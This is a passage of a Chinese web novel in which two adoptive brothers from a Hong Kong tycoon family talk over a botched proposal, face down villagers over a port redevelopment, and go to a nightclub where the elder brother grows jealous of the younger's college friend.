他强装冷静问道:“这就是你给我惊喜?就因为看见她们在桌底踩鞋玩儿,接个吻?” 陈一诺有些尴尬,没想到陈宗礼也看到桌底。 “你也看到了呀?” “我本来想着,用大屏表白一下,还能把人抢回来,毕竟你们从小一起长大,感情肯定更深厚,没想到……” 没想到,都覆水难收了。 陈宗礼揉了揉眼睛,有气无力。这小卷毛平时脑子挺好用的,怎么浪漫的时候,就那么土潮…… 他骂道:“什么表白,当我不懂英文?你这是求婚!” “而且,这到底是哪门子的浪漫?李思维看见只会把我推离地球表面。让人赶紧关掉,我眼睛要瞎了!” 不止他们要瞎,下面两位女士也要瞎了。 不出意料地传来李思维惊呼:“我的天呐,这个……你弄的?” 庄宝瑶笑了:“怎么可能,那么丑。估计是有人想求婚吧。谁敢这样表白,我要直接把他沉湖。” 李思维附和:“也是,这审美,我得把他踹到外太空。” 庄宝瑶试探着:“那怎么样的求婚你能喜欢?” 李思维想想:“求婚的形式无所谓,主要是看求的人是谁……” 说完,两个人慢慢又亲到一起。 …… 被美女们锐评的陈一诺备受打击,他垂着脑袋不敢看陈宗礼。 “不好意思啊……哥……” 陈宗礼揉了揉他的脑袋,心里有气,可想到小卷毛担心他被绿,着急找大屏帮他求婚,心又软。 “听见了吗?太丑了,要把你沉湖!踹到外太空!” 此时,陈一诺跟陈宗礼贴坐在一起,低声道:“哥,你说我们到底什么体质啊。为什么总能遇到这种尴尬的情况……上次是庄嘉轩和陈宗瑜,这回是她们。” 陈宗礼也扬起嘴角,他现在困意全无,此时,他能碰到陈一诺的肩,歪头时耳朵能蹭到他茸茸的卷毛。仿佛有些因祸得福。 他调侃道:“既然如此,万一以后集团破产,我们就组团当私家侦探吧。别浪费了这种技能。” 陈一诺拒绝得很干脆:“我不要,我不能再破产了,过不了没钱的日子。” 想到自己如果没钱,要被贺家的人折磨死,他这辈子都不能破产! 陈宗礼不知道他内心的小九九,骂他:“财迷……” “哥,你一点都不生气吗?那么大一顶绿帽子……” 陈宗礼耸耸肩:“我们又不是真情侣,有什么好生气的。” 陈一诺皱眉:“那上回,你们不是还激吻来着?她还喊疼那次……” 陈宗礼用下巴戳着他天灵盖:“你亲眼看见我们激吻了?有没有一种可能,是因为她的耳环勾到衣袖,所以疼呢?” 陈一诺尴尬地:“啊……”他才反应过来,“所以,你早知道思维姐跟宝瑶姐……” 陈宗礼想抽烟,摸了摸口袋,陡然想起他们在躲人,打消了这个念头。 “我只知道李思维的取向,知道她有喜欢的人,但不知道对方是庄宝瑶。” 陈一诺知道世界很复杂,所见并非即所得。但这些彻底颠覆他认知的现实,让他感到疑惑。 上辈子陈宗礼为了救他,取消了婚约,引发了种种后果。让他十分内疚,想着重生回来,给陈宗礼和李思维当爱情保镖还债。 这下可好,他和李思维之间根本不是真爱,而是心知肚明的“营业CP”。甚至……都不是一个性取向。 如果两人真的协议结婚,他俩连日久生情、先婚后爱的机会都没有。 他疑惑道:“你明知道她喜欢女生,为什么还答应跟她联姻?” 他总觉得,要不是他阴差阳错地撞破,陈宗礼会一直替李思维保守这个秘密。 陈宗礼也很坦然:“大学的时候,李思维想去C国念书,李家纯不同意,你知道他的,觉得女孩子念书没用,不如她在港城随便念念,等着嫁人。” “那时候,港媒疯传我们金童玉女,双方家庭也有默认的意思。” “李思维觉得自己说话不管用,只好求我帮忙,在李家纯面前演一场戏。大概就是我有意无意地透露,喜欢跟另一半有共同语言,我出国念书,对方也最好也有差不多的经验。李家纯一听,二话不说让李思维出国。” “刚开始,我也犹豫,如果帮她,默认在一起了。可当时,四大家族的格局对我们越来越不利,贺家和董家联手独大,李家的支持对我们来说非常重要,所以……” 他垂眸看着陈一诺,敏感地捕捉到他情绪里的低落,挑起眉问道:“怎么这个表情?心疼我?” 陈一诺手指抓了抓他的衣袖,承认道:“嗯……” 短短一段话里,藏着两种委屈。 一个是千方百计出国留学,以至于用“为了和未来老公有共同话题”为理由的豪门千金。 一个是为了集团利益,以至于假装“营业CP”的太子爷。 虽说是各取所需,但也藏着万般无奈。 有时候,他觉得陈宗礼像一艘环球邮轮的船长,驾驶舱是他画地为牢的地方,在面对漆黑的大海、面对狂风暴雨、面对海盗劫船的时候,他要肩负起整艘邮轮几万人的安全,为了确保游轮持续航行,时刻矜矜业业,日夜殚精竭虑。 陈一诺心疼他,所以,心甘情愿替他分担。但任他再努力分担,也不可能成为陈宗礼的枕边人,跟他组建家庭,朝夕相处,相濡以沫。 他低声道:“哥,我非常希望你能找到一个真心喜欢的人,而不是被利益裹挟着跟另一个人凑合过。” 如果陈一诺此时抬头看看陈宗礼,他会发现陈宗礼那张没什么人情味的脸上,罕有的不知所措。 感性告诉他,应该被陈一诺说的话感动。可当他理性分析完,陈一诺那句“希望你能找一个真心喜欢的人”,在他听来,就像给他发了一张“好人卡”。 他觉得自己像身处于一个漆黑又漫长的废弃隧道中。 隧道不长,他抬头就能看见出口处的光亮,而陈一诺就站在光亮处等着他。 看似触手可及的距离,他却用尽浑身解数,也无法抵达。 可能是接近凌晨,理性开始迷路。 陈宗礼混沌的脑海里,忽地飘过一个念头,他说:“其实,我有喜欢的人……”—— 作者有话说:嘿嘿,长长的一章~明天继续[捂脸偷看] 第60章 “砰——” 从烟波湖对面,朝夜空划出一道火柴痕,几秒后,漆黑夜空中炸开朵朵金的、银的,闪闪的,瀑布状烟花。烟花在粉色大屏之间绽放,让陈宗礼的眼睛都不知道往哪里看。 一片混乱。 他下意识看向陈一诺,心里猜测着,刚刚的话,是否被他听了去。 陈一诺眼里是绽放的烟花,抬头朝他朗声道:“哥,你刚刚说,其实什么?我没听清!” 很好,没听清。 陈宗礼心里松了口气,表情很正经:“其实,你审美真不行……烟花配大屏,怎么想的?” “……” 陈一诺嘀咕:“你骗我的吧,你说“其实”的时候,烟花还没开始……” 陈宗礼冷声:“谁骗你?” 心想:善意的谎言不算谎。 …… 烟波湖那晚,陈一诺精心准备的表白,虽然不被陈宗礼认可。但知悉陈宗礼跟李思维真是纯友谊,让陈一诺莫名窃喜。 好像,那个“我哥是别人的”倒计时消失了。他又能名正言顺,心安理得地霸占他一段时间。 再说,连李思维都成不了,其他人估计更难。也就相当于,他能缠着陈宗礼的日子,将会很长很长…… 而这段时间,港媒的视线成功被贺家那两位官司缠身的少爷吸引,新人胜旧人,陈家兄弟乐得淡出公众视线。 陈一诺跟陈宗礼趁此机会,排除一切外界干扰,全情投入到羽南港项目中。 …… 这天,陈宗礼去政府厅跟罗署长汇报最新的规划方案,规划定下来,羽南港就能正式动工。 陈一诺没跟他一起,他负责前往机场,接羽南港项目总设计师普尔斯。他们约定,汇报结束后,各自出发到羽南港现场汇合。 库里南里,汇报结束的陈宗礼一身轻松,在车后排处理邮件,陈宗瑜“哈哈”笑出声:“唉,陈宗礼,你见过普尔斯吗?” 陈宗礼头都没抬:“没……” 当初,竞标阶段,羽南港的设计方案,是他们和普尔斯团队通过电话或者线上视频会议,共同完成的。普尔斯不爱露脸,而对于陈宗礼来说,工作能力好就行,外貌不重要。于是,他由始至终没见过普尔斯真人。 陈宗瑜把手机递给他:“没想到,长得那么帅~” 陈宗礼百忙中抽空瞥了一眼,视线刚收回,忍不住抢过来,又看了一眼…… 吸引他的不是普尔斯,而是照片本身。 那是一张普尔斯跟陈一诺的合影。普尔斯一双碧蓝色的眼睛,白金色头发,搭着陈一诺的肩膀,一起朝镜头比“yeah!”。 这样亲密的距离,明显突破了第一次见面的工作伙伴的合照边界。 果不其然,“万事通”陈宗瑜凑过来补充道:“原来,普尔斯跟一诺哥哥是NYU的校友哦,你说巧不巧!” “你往左翻,还有他们大学时期的合照。” 陈宗礼手指往左翻,手机出现一张大概5年前拍的照片。 照片里的动作、表情跟刚刚那张简直一模一样,唯一的区别:5年前这张在NYU大学湖边草坪拍的。 照片里,两个人少年满脸洋溢着青春的气息,只一眼,陈宗礼就感觉喝了瓶夏日的汽水,隔着屏幕都让人感到清爽。 当年,他在NYU的湖边草坪跟陈一诺坦白,要他留在NYU念书。 那年的事,应激的不只有陈一诺。对此,陈宗礼一直心存愧疚,衷心希望他在NYU能度过愉快的大学时光。 可是,希望是一回事,真的看见他过得好,还是跟别人过得好,陈宗礼心里又觉得不舒服…… 他“嗯”了声,把手机还给陈宗瑜,问道:“还有多久到羽南港。” 陈宗瑜早就习惯他的阴晴不定,撇撇嘴:“大概二十分钟。” 陈宗礼合上笔记本电脑,闭目养神,后半车程没再说话。 …… 二十分钟后,库里南抵达羽南港。找到陈一诺的时候,他和普尔斯正被一群村民围着。 陈宗礼眯着眼问陈宗瑜:“怎么回事?” 陈宗瑜眼尖,看见被挡在外面的助理小童,挥手:“小童,里面怎么了?” 小童着急得满头大汗,看见陈宗瑜仿佛看见亲人,他连爬带滚地走到他们面前。 距离近了,陈宗礼才看见小童的衬衫衣袖刮破了,办公室里的白皙小伙,如今灰头土脸,汗从额头往下流,跟脸上的灰土形成对比,硬是冲出一道道印子。 他喘着气道:“老板,宗瑜姐。今天,小陈总带普尔斯来实地考察。走到羽南村祠堂的时候,普尔斯说了一句祠堂太老旧,要拆了重做……” “那些打麻将的村民听到,立刻就火了,操着家伙把小陈总他们围了起来!” “我去叫村长,结果村长听完,跟着一起生气……”他摸了把汗,脸上又添了五道指纹印。 “老板,现在怎么办?” 羽南港项目,除了海港部分的重建,还涉及周边旧村的改造。其中,羽南村是历史最悠久,最具代表性的村落。 陈宗瑜皱眉:“按照我们跟罗署长汇报的方案,羽南村的祠堂跟我们未来打造的居住楼盘有重叠,需要迁址保育。普尔斯说拆了也没错……” 陈宗礼没时间细究原因,利落道:“先去看看。” …… 围着陈一诺和普尔斯的村民,七嘴八舌地不满。 村民A:“之前说得好好的,祠堂这些文物建筑要保育,现在要全拆?!跟之前说的都不一样!” 村民B:“祠堂是我们村的风水宝!敢拆我们祠堂,就等于要挖我们龙脉?我们坚决不同意!” 普尔斯用蹩脚的中文解释:“拆了会重做啊!用更现代,更好看的方式……” 村民一看这个外国人说话慢,还说他们的祠堂不好看,火气又上来了。 村民A:“现代的东西就不是文物啦!” 村民B:“就是!而且什么叫更好看?我们觉得现在就很好看!” 村民你一言我一语,把普尔斯听得云里雾里,只觉得他们吵:“你们这群刁民!说不通!” 一句刁民说出口,村民现场就炸了! “你这个洋鬼子,好意思骂我们刁民?!” “就是!我们这群刁民要是不愿意!你们连一辆挖掘机都进不来!还想赚钱!滚回国外吃shi去吧,我呸……” 赤裸裸的人身攻击,普尔斯倒是全听懂了,他攥紧拳头就要往前冲。 陈一诺一把拉住他的肩膀,没想到看起来劲瘦的陈一诺手臂如此有力,普尔斯挣扎了几下,没挣扎动,只能怒目瞪着陈一诺:“你听到他们说什么了吗?!” 陈一诺安慰道:“听到了!我听到了!” “普尔斯!我都听到了!” “但这里不是NYU,如果你随便动手,吃亏的肯定是我们!你大老远跑来港城,刚下飞机,你也不想港城一日游,就被递解出境吧?!先冷静,让我来沟通。” 陈一诺的话,让普尔斯听愣住了。 大学的时候,他跟陈一诺经常并肩作战,打遍NYU无敌手。没想到,再次遇到别人挑衅,他当年的战友,居然变了!不但没想过动手,还劝他冷静! 憋着气无处发泄,普尔斯气得一把拽下头上的棒球帽,“啪——”扔在地上泄气。 “安静!大家安静!”陈一诺举起双手,大声喊着。 他意识到村民对普尔斯的抵触情绪,现在村民已经对人不对事了,这种情况下,谈判难度非常大。 他对村长道:“村长,方案之前我们也聊过一次,我这个朋友刚下飞机,时差没调过来,可能中间有些误会。不如找个地方坐下来好好谈谈。” 那几个村民,仿佛杠精上身,说什么都不同意。 村民A:“怎么?还想绕过我们啊?村长,我们不听他们的,有话就在这里当面说清楚!” 村民B:“就是!你们这些开发商心眼最多了。我们村的事,我们村民怎么不能一起谈?” 陈一诺来过好几次羽南村谈判旧改,从没遇到那么情绪激动的村民。他按下心中的疑虑,目光只盯着村长,等待他的回复。 没想到,这只老狐狸根本没顺着他的话往下说。 他自顾自道:“小陈总,其实上次你们来,给我们讲述旧改方案之后呢,我们村内部也有一些疑问。特别是关于这个祠堂……” “你们的方案里,好像说,这一片打算建楼盘,刚好祠堂也在这个范围内。而且,这个楼盘,主要面向那些,以后在羽南港打工的年轻人。我们村民意见挺大的……” 所有人都安安静静地,看着陈一诺,像就等他往下问。 在压迫的视线下,陈一诺无奈笑笑:“村长,既然都说到这了,有什么意见就开诚布公吧……” 看见有台阶,村长就慢悠悠地下来:“我们这个村少说上百年历史,你们上来就拆祠堂,建高大上的楼盘,卖给外来人……我们这小渔村的村民学历低,什么都不懂,不但住在破破烂烂的村屋,眼看还要被边缘化。” “小陈总,作为羽南村的村长,我很难跟村里人交代啊。” 陈一诺明白了,村长的言下之意:要么共同富裕,村民们都住上新楼盘,要么就别想改村里的一分一毫。 普尔斯居然听懂了村长的弯弯绕绕,低声道:“说得自己多高尚,不也是为了钱……” 陈一诺瞪了他一眼,满脸严肃地示意普尔斯闭嘴。 这种场合,陈一诺很熟,商场上的谈判无非就是谈利益。合理的往下谈,遇上对手漫天要价的,也可不能惯着。 他笑笑,看不出一点情绪波动:“村长,我们的方案里,对羽南村有一个焕新规划,对破旧村屋进行翻新,这些我们都有安排的。” 村民A打断了他的话,并且非常嚣张:“村屋翻新了也依然是村屋啊。我们不想住村屋!就想要住小区,住新的!” 村民B:“没错!还是这个项目你做不了主?!如果是,换个说得上话的人来跟我们谈!” 村民A:“哎,别以为我们不知道,你一个陈家的养子,公司在港城刚起步!竞标的方案也说,要鼓励更多外来公司进驻,吸引更多外来人打工!我们根本不指望你会替我们本地人争取利益!” 村民C:“就是,你赶快走吧!把能做主的人叫过来!把陈宗礼叫过来!” 陈一诺觉得身旁围了一圈人,他们的声音像一群苍蝇,一直“嗡嗡嗡”地吵个不停。过于压抑的场面,让他感到呼吸不上来,有些缺氧。 就在这时,一把沉稳又洪亮的声音穿过人群的包围,在他身边形成了一个保护罩。 那声音说:“谁说他做不了主?” 所有人朝着声音的方向往后看,西装革履的陈宗礼站在目光的终点,可他那双上斜眼,由始至终只盯着陈一诺。 他带着陈宗瑜从包围的村民里杀出一条路,一点点往前挪到中心,每一步都能感受他骇人的气场。 他看着村长,厉声道:“我陈宗礼今天把话放这儿了,羽南村的旧改,小陈总说了算!” “还有不清楚的吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 羽南村地处港城东北方,靠近沿海,每年夏季都会受到台风滋扰。 有一年,台风“尼亚”过境,刚开始没人想过它的破坏力如此惊人,几乎毁掉整个羽南村。 当时,陈老太通过自身影响力,在TVA举办一场慈善晚会,云集全港城的富豪和明星,并将凑集到的善款全数捐出。 这笔善款,不但缓解羽南村灾后重建经济压力,还帮助不少村民回归正常生活。陈老太的点滴恩情,村民时至今日还记着。 后来,陈老太退休,陈宗礼接任,每逢羽南村遭受自然灾害,天峻依然会第一时间拨款扶持,为此,村民对陈家总是心存感激。 正因如此,村民敢刁难“养子”陈一诺,却对“陈太子”陈宗礼毕恭毕敬,看见他出现,聒噪的村民瞬间哑火。 陈宗礼大步走向陈一诺,并在他身后站稳,不是身旁,不是身前,是身后。 向来站在聚光灯下的陈宗礼,自然有能力替陈一诺挡这一程风雨,但他却没有,把位置留给陈一诺,默默退居幕后,成为陈一诺最坚定的靠山。 在谈判过程中,每一股力量的加入,都有可能让谈判局面产生变化。刚才那种窒息感,因为陈宗礼的到来得到极大缓解。 陈一诺抓住机会,再次询问村长:“村长,现在我们可以坐下来,好好谈谈了吗?” 村长跟挑事的村民对视片刻,只能妥协:“两位陈总,跟我过来吧。” …… 前往村委会办公室的路上,小童识趣地在前面跟村长应酬着,留时间给老板们在后面谈对策。 陈宗瑜一脸不屑地骂道:“我说呢,一个祠堂的修缮,怎么能闹成村民群起攻之的地步。原来是觉得亏了!哎,拆迁才有拆迁赔偿,我们的规划里由始至终只保育,没拆村,那为什么还要给他们分房?这不是勒索吗?” 陈一诺双手抱肩,他做线上业务多,这种线下开发项目接触很少,不知道这种出尔反尔,还狮子开大口的情况是否正常。 他皱着眉问道:“哥,这种方案聊得好好的,村民忽然变卦,要求增加赔偿,是正常的吗?如果每个项目都这么翻来覆去,迟迟定不下来,不就直接拖慢完工时间?” 大概也是被村民气的,陈宗礼心情还没恢复,脸色算不上和善。 他双手插兜,冷声道:“旧改牵涉不少人事,人的需求总是千奇百怪的。有反复很正常。” “但瞎子都知道,羽南港的开发,对当地经济发展利大于弊。项目发起到现在快半年时间,早不提晚不提,刚好在我们跟罗署长汇报完,开始动工的时候,他们提要求。” “提出的诉求,还是大部分开发商都不会答应的……” 陈一诺打了个响指:“事出反常必有妖啊!” 陈宗礼刚想说话,在后面拍照的普尔斯忽然加速冲到陈一诺背后,一个跃起趴在陈一诺背上。 还用不咸不淡的中文道:“一诺,我觉得,这群刁民不爽我的设计!” 不但不爽你的设计,还不爽你! 陈宗礼不觉痕迹地眯了眯眼睛,故意道:“你要是继续喊他们刁民,我怕你今晚走不出这条村子。” 普尔斯转头看向陈宗礼,被他冰冷的眼神吓得后背发凉,他低声对陈一诺道:“他为什么对我大言不惭?” 陈一诺:“……他是想纠正你,他们不是刁民,是村民。” 普尔斯从他身上跳下来,改为搂着他肩膀,说道:“你不在A国,我的中文飞流直下三千尺!今天开始,我们朝夕相处,你帮我再创辉煌~” 陈一诺一边挣开普尔斯的手,一边道:“再创辉煌不是这么用的……哎,先放开我,村长还在前面……” “咔嚓——” 陈宗瑜把偷拍两人打闹的照片发给庄嘉轩,手肘撞撞陈宗礼:“没想到,一诺哥哥还有那么活宝的朋友,你看看一诺哥哥对他无可奈何的表情~太宠溺了,是不是好配?” 陈宗礼勉强地扯起嘴角,阴阳怪气道:“呸(配)!” …… 抵达村委会的会议室,村长坐正中主位,陈家兄弟为首坐在左边,羽南村的骨干坐在右边,双方对垒。 村长也不寒暄,开门见山:“小陈总,我也不浪费大家的时间。羽南港开发以后,外来人口只会越来越多,我们村消息闭塞,村民也都是底层人居多,只会被慢慢边缘化。” “我也是想为村民多争取一点保障。祠堂、村子旧房都可以拆,楼盘也可以继续建,但是……” 懂行的都知道,说了“但是”,那前面说的全不是事…… “但是,我们村里希望,至少每户按人均40平米补偿给村民,这要求不过分吧?” 还敢问不过分?真是太过分了。果然,人至贱则无敌。 陈一诺觉得好气又好笑,提醒道:“村长,我们的规划里说得很明确,羽南村所有旧房子只修缮不拆迁。这些都是专家鉴定过的古建,不能拆,你忘了?” 老狐狸不装了,过去的事情全当自己失忆,眼里只有需求:“反正,我们的诉求就是这点。如果同意,我们继续往下聊,如果不同意,我们也不同意旧改。” “我记得,你们羽南港项目完工是有死线的。小陈总,陈总,你们啊,谨慎考虑,不着急但要快啊!” 嘿,这老狐狸说话真有意思,句句紧逼,又装作很大度。 陈宗礼深邃的眼眸看向陈一诺,他太了解陈一诺,这人惯来吃软不吃硬,偏偏这位村长坚定地选择了下下策,要跟他硬碰硬。还一而再再而三地激怒他,这下可好了。 果不其然,陈一诺那双灵动的大眼睛,此时,藏不住的蓄势待发。 他嘴角一挑,心想,小卷毛要咬人了。 陈一诺身体往后,自然靠在椅背上,身体放松得不像在跟村长谈判,而是在跟村长喝茶。 “那我也不浪费您的时间……”他抬手指向普尔斯,介绍道,“这位是羽南港项目总设计师普尔斯先生,他可以证明,在最开始的羽南港规划上,羽南村因为跟海边距离太近,并不在旧改范围内。” “也就是说,本来楼盘不打算建在羽南村旁边,我们也不需要拨出额外的费用改造羽南村。如果你们坚持一定要按照你们的诉求,我们就推翻已有规划,用回最初版的规划。” “村长,您说呢?” 陈一诺这一句一句地,把难听的话,全怼人家面前说了个遍。现场顿时鸦雀无声。 普尔斯半懂半不懂得听他说完,居然明白了七八成,忍不住“噗”低声笑出来。边笑边用笔在速写本上“刷刷”画着:一个老头搬起石头砸自己的脚。哎呀,好疼…… 陈宗礼垂眸,嘴角微弱地扬起弧度,在无人看见的桌底,用大腿撞了撞陈一诺。 陈一诺低头往下看,陈宗礼在桌下给他比了个大拇指。陈一诺像受到表扬的小狗,昂起卷毛脑袋,神气得很。 跟陈一诺的得意相反,村长和村委一个个面如死灰。 其中一个村委会的成员,不太相信地问:“小陈总,方案你们跟罗署长他们都敲定好了的,怎么能说推翻就推翻呢?” 陈一诺认出这个人,在祠堂争吵的时候,他带头闹得最凶。 他看着那人的脸,挑起的嘴角带着一丝邪气:“这位兄弟,是不是忘了?是你们先推翻之前约定好的,我们才迫不得已推翻的呀。” “再说了,我们几小时前,才跟罗署长敲定方案,你们村里那么快就收到风?” “不是说村里闭塞?我看消息灵通得很啊。” 不但灵通,还知道抓住时机,逼迫他们接受。这一套组合拳,就想打陈家兄弟措手不及。 但陈一诺完全没被牵着鼻子走,他锐利的目光朝对面从左往右扫射:“你们也不好奇为什么后来羽南村会被纳入旧改范围?” 也没给对方问为什么的机会,自顾自道:“刚开始,我们是受陈老太嘱咐,她说羽南村常年不受重视,现在刚好遇到zf开发羽南港,如果能帮,一定要多帮帮村民们……” “老太太觉得善意不需要说出口,顺带的事,没必要让人知道。但是……” 但是农夫与蛇的故事,总是屡见不鲜。 他没往下说,可杀人诛心的手段,用得炉火纯青。 “罗署长那边的方案虽然定了,但调整一下也不费多少时间。”他看向陈宗礼,故意问道,“对吧?” 陈宗礼笑得比他还滲人,听得人后背发凉:“为了说服罗署长扩大旧改范围,我们还费了不少唇舌。用回最初的规划方案,不但省了钱,还省了工程时间。连村长担心的死线问题都解决了,罗署长肯定不会有问题。” 谁能想到,陈一诺和陈宗礼的嘴,一个比一个毒,说的话,一句比一句狠。 让人仿佛被连续凌迟。 先被诛心,后被凌迟的村长,恶狠狠地看了眼刚刚那名村委。肠子都悔青了,都怪自己贪心,听信谗言。 本以为能大口吃肉的,结果踢到陈家两块铁板,现在眼看连汤都喝不上。万一,羽南港的开发最后完全撇开了羽南村,那他岂不成了村里的千古罪人。 眼看大势已去,他态度三百六十度大转变,哀求道:“等等!等等!” “陈总,小陈总,是我们贪心了。没明白陈家的恩情。今天的事,全是误会,咱们还是按照目前的规划推进吧……” 那村委变了脸色,连忙道:“村长!” 村长厉声:“你闭嘴!这事你别管了!” 陈宗礼瞥了眼陈一诺,一句话没说,陈一诺却迅速明白他的暗示:“下马威”结束,要开始施恩了。 陈一诺摆摆手,擦黑板似的,把刚刚的摩擦全都擦掉。 “村长,我们还是愿意在已有的基础上,给村民提供一些优惠的。譬如:如果村民考虑到新楼盘买房,我们会提供对应折扣。等羽南港建成后,大量企业入驻,招聘上优先录用村民。甚至可以给村里,考上大学的孩子提供奖学金,让羽南村的年轻村民也融入羽南港的开发中,你们也不用担心被边缘化。” 陈一诺一段话,恩威并施,不但没放弃羽南村的开发,还提供多项专属村民的惠民政策。村里的人哪敢有异议,只剩下感恩戴德。 …… 本来打算好的行程,被一场突如其来的谈判扰乱,离开时已经晚上。 刚上车,陈宗瑜一脸大仇得报的模样:“太爽了!!刚刚村长听到用原来的规划,把羽南村划出旧改,简直面如死灰……一诺哥哥你太牛了!” 普尔斯也觉得痛快:“一诺在学校辩论队也很牛!让人灵魂出窍!” 陈一诺哭笑不得:“你真行,夸人还夸到灵魂了?” 仨人的后排,陈一诺本想靠边,结果左边上来一个普尔斯,右边上来一个陈宗礼。 他像一个三明治里的午餐肉被夹在中间。 陈宗瑜问他们:“待会儿去哪儿啊?” 陈宗礼:“回家!” 普尔斯:“酒吧!” 同时说话的两个人,隔着陈一诺对视一眼,目光里都有不会妥协的坚定。 坚定得,灼伤了坐在中间的陈一诺。陈宗礼不爱凑热闹,普尔斯初来乍到,无论如何都要尽尽地主之谊。 陈一诺看着陈宗礼,给出折衷方案:“这样吧,先送我们去酒吧,然后再送你和宗瑜回家?” 掏出化妆包开始补妆的陈宗瑜,说道:“我不回家,我也要去酒吧!” “……” 陈一诺彻底尴尬了,普尔斯却因为多了一个同伴非常得意。 说道:“那我们去酒吧天伦之乐,你回家孤独终老!” “……” 陈宗礼扯着嘴角,屈服道,“去酒吧!” 第62章 本来,陈宗礼以为的去酒吧,是字面意义上——喝酒的地方。 没想到,普尔斯选了一家“迪吧”。 陈宗礼五行缺“闹”。 所以,当他走进这间充斥着人、酒精和荷尔蒙的迪吧,第一反应是头疼。 哪怕他们开了一个VIP包间,无孔不入的“咚次哒次”还是会钻进耳朵里嗡鸣。仿佛外置一个心脏,在你耳边360度无死角剧烈跳动。 坐下不久,普尔斯就迫不及待拉着陈一诺往外走:“一诺,走吧,我们去舞池!” 刚好,陈宗瑜去酒吧门口接庄嘉轩,如果他们去舞池,包间里,就只剩下陈宗礼。 一边是久未见面的好友,一边是骑虎难下,待在酒吧的陈宗礼。 陈一诺左右为难,他跟普尔斯说:“要不,先等等吧。现在舞池里的人也不多。” 普尔斯看了眼陈宗礼,瞬间明白陈一诺为难什么。故意激他:“不是吧~还要报备??” “哎,一诺的哥哥,你一个人不害怕吧,让一诺陪我去舞池呗?” 陈宗礼脸上的神情,陈一诺从没见过,阴冷阴冷的。 他伸手从雪茄盒里选了根大卫朵夫,一手捏着雪茄,另一只手熟练地拿着喷枪烤雪茄脚,漫不经心:“我害怕,让陈一诺留下。” 普尔斯和陈一诺都没想到,大马金刀坐在沙发上,叼着雪茄的陈宗礼,嘴里会说出:我害怕。三个字。 说话和人设反差太大。 普尔斯低声问陈一诺:“你哥什么意思?!” 陈一诺也不知道,他以前跟老王也经常出去玩,陈宗礼不是这个反应。今天这是怎么了? 他坐到陈宗礼旁边,带着笑脸商量着:“哥,我先陪普尔斯下去逛逛,待会儿上来陪你,行吗?” 手里的雪茄被燃出猩红,陈宗礼眯着眼睛,细细吸了几十秒,浓稠的白烟在口鼻缭绕。隔着烟看陈一诺的脸,谄媚中带着讨好。 他要是像普通弟弟一样坚持:不管我就要去玩!然后头也不回地跑走,那多好。 偏偏陈一诺不是普通弟弟,商务谈判时软硬兼施,全是心眼,跟他谈判时身段很低,眼睛湿漉漉的,生怕他不高兴。 有这样的弟弟,再强硬的陈宗礼,也只能认栽,他摆摆手:“去吧。” 陈一诺有些犹豫:“真的?” 陈宗礼含着雪茄的嘴角扯了扯,有些生气:“那我反悔了……” 没给他反悔的机会,两个“好朋友”勾肩搭背离开了包间。 关门前,普尔斯眼睛直勾勾地看向沙发上抽雪茄的陈宗礼,对方也刚好看过来,平静无波的上斜眼,忽地闪出两把刀子…… 普尔斯立刻回头,被着这记虚无的眼刀,刀出一身冷汗。 …… “哒哒!我们来了!” 陈一诺刚离开,吵闹的朋友庄嘉轩,牵着他吵闹的女朋友——他妹陈宗瑜,双双从舞池回来,浑身上下散发着恋爱的甜腻。 假画事件后,陈宗瑜多年暗恋成真,如今瞒着母亲跟庄嘉轩蜜运中。 庄嘉轩更是事业爱情双丰收,那嘚瑟个没完的劣行,屡次激起陈宗礼给二婶打电话举报的冲动。 但庄嘉轩这人就是惹人嫌不自知,趁着陈宗瑜去拿酒的空档,手在空气里拨了拨,调侃:“熏蚊子呢?哪有人来酒吧抽雪茄的?去跳舞啊!” 陈宗礼睨他一眼,故意朝他喷了一口烟:“哪有人来酒吧秀恩爱的?去家长面前秀啊……” 毒舌的陈宗礼,一句话精准地让庄嘉轩明白何谓乐极生悲。 “嘿!哪壶不开提哪壶……” 捕捉到他的慌张,陈宗礼冷峻的表情才稍微缓和一些,他给庄嘉轩递雪茄,对方婉拒。 “我谈恋爱呢,最近烟都戒了……” 陈宗礼递雪茄的手停在半空,领悟到他戒烟的原因。从心里打了个寒颤,利落地把雪茄丢回盒子里,厉声道:“你给滚!” 厚颜无耻的庄嘉轩偏偏不滚,还贴过来,语重心长:“我说啊,你又不是神,干嘛总是一副清心寡欲的模样,偶尔也下下凡,放松放松吗!” “学学人家陈一诺,该工作的时候工作,该玩的时候尽情玩!你看他跟普尔斯,舞池双子星~” 怕音乐声太吵,陈宗礼没听清,庄嘉轩故意凑到他耳边道:“宗瑜跟我说,他俩关系特别亲密,我还不以为然,我说你们兄弟俩关系也很亲密啊。” “陈宗瑜说他俩不一样!我本来还不信呢~结果,就在舞池里,我亲眼看着,普尔斯手挂在陈一诺脖子上!虽然,是两男人扭在一起,可我看着都觉得勾人~” “你真该亲眼看看,嘿,国外回来是不一样啊,真Open……” 陈宗礼放下雪茄,仰头喝了一杯威士忌。 VIP包间是半开放式的,另一半就能清楚看见舞池里的人潮涌动。 庄嘉轩说的那一幕,他当然看见了。 虽然,陈一诺很快把普尔斯的手解开,可那俩人面面相对的几秒,硬是让他喝掉三杯威士忌。 酒液混着冰水,冷却他的喉咙,他冷声道:“我们这里谁不是从国外回来?你不Open?” 庄嘉轩瞪他:“你别乱说啊?我是有些江湖习性,也确实在国外生活过。但由始至终守身如玉,清清白白的。” 他的清白声明刚发布,陈宗瑜手里拿着两瓶威士忌进来,先给庄嘉轩倒一杯,再给自己倒。 包房昏暗,一束射灯无差别地在酒吧不同角落闪现,那些闪现的瞬间总能照出亮点。 譬如此时,光束刚好在庄嘉轩和陈宗瑜脸上扫过。在这吵闹的,拥挤的酒吧里,两人的眼睛就这么对视着,仿佛世界只剩他俩,由始至终。他们眼里只有彼此。 一个小团体中,有两个朋友谈恋爱,团体里必定有人感到受伤。 陈宗礼在这样一对命中注定的情侣面前,想到他们之间你追我赶快十年,最终修成正果。 爱情是他们的,乐景衬他的哀情,仿佛要凿穿他的心。 手指不自觉地翻出二婶的对话框,脑袋只有一个缓解伤感的办法——举报他两。 为了遏制一颗心,不会因为嫉妒而变态。 他强迫自己挪开始视线。 深幽的上斜眼看着舞池里男男女女。看他们被音乐操纵着,时而扭动身体,时而双手举起,时而情不自禁拥吻面前的舞伴…… 他的视线,始终落在陈一诺身上。 他穿着白衬衫,上面两颗纽扣解开,尾端从裤子里抽出,有些皱了。但在迷幻的光线下,白衬衫成了色彩的画布。他昂起头,露出天鹅般白皙细长的脖颈,侧脸的轮廓银光闪闪。 